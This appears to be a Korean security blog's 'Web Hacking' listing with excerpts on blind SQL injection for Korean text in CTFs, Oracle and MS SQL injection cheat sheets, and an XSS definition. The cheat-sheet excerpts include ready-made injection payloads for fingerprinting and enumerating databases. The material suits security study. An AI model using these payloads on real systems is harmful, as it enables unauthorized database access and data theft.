Blind SQL Injection을 이용하여 한글가져오기!
·
Web Hacking
CTF와 워게임을 진행하면서 Blind SQL Injection 문제를 여러개 풀어보았다.하지만 매번 ASCII코드와 HEX 값을 이용하여 영어를 한 글자 씩 조회하였다.하지만 한글을 조회해야하는 문제를 풀어야하는 김에 한글을 조회하는 Blind SQL Injection을 정리해 보았다. 1. 우선 테스트할 테이블을 만들고 데이터를 입력한다.id는 init 데이터 타입이며, name varchar 타입이다. 데이터베이스의 문자셋은 UTF-8로 설정하였다. 2. 한글 데이터를 HEX으로 출력해본다.18문자가 표현되는데 한글은 3글자이기 때문에 18을 3을 나누면 6이 나온다. 여기서 2글자가 1byte. 즉, 한글 한 한글자에 3Bytes이다. EUC-KR의 경우 2Bytes 이지만 UTF-8 3Bytes..
Oracle SQL Injection
·
Web Hacking
Oracle SQL Injection DB 버전 확인 : v$version 조회 SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’; SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’; SELECT version FROM v$instance; 현재 DB명 확인 : global_name 조회SELECT global_name FROM global_name; SELECT name FROM v$database; SELECT instance_name FROM v$instance; SELECT SYS.DATABASE_NAME FROM DUAL; DB 리스트 확인 : SELECT DISTINCT owner FROM all..
MS SQL Injection
·
Web Hacking
MS SQL Injection정보수집1. 버전 체크 and 1=(select @@VERSION)2. DB 확인 : DB가 존재하면 에러출력, 존재하지 않으면 정상작동 sysdatabases dbid 1-6은 시스템db, 7~ 사용자db and 1=(select name from master.dbo.sysdatabases where dbid=7) 3. 현재 DB명 조회 : and 0db_name()4. 현재 유저명 조회 : and user>0 데이터베이스 구조5. 현재 테이블 조회 : ' having 1=1--6. 현재 컬럼명 조회 : ' group by users.id having 1=1--7. 컬럼 타입 조회 : ' union select sum(컬럼명) from 테이블명-- 5. 권한 체크 : 1) ..
크로스사이트스크립팅(XSS)
·
Web Hacking
1. 크로스사이트스크립트(XSS)크로스 사이트 스크립팅(영문 명칭 cross-site scripting, 영문 약어 XSS)은 웹 애플리케이션에서 많이 나타나는 취약점의 하나로 웹사이트 관리자가 아닌 이가 웹 페이지에 악성 스크립트를 삽입할 수 있는 취약점이다. 주로 여러 사용자가 보게 되는 전자 게시판에 악성 스크립트가 담긴 글을 올리는 형태로 이루어진다. 이 취약점은 웹 애플리케이션이 사용자로부터 입력 받은 값을 제대로 검사하지 않고 사용할 경우 나타난다. 이 취약점으로 해커가 사용자의 정보(쿠키, 세션 등)를 탈취하거나, 자동으로 비정상적인 기능을 수행하게 하거나 할 수 있다. 주로 다른 웹사이트와 정보를 교환하는 식으로 작동하므로 사이트 간 스크립팅이라고 한다. - 입력값 검증을 적절히 수행하지 ..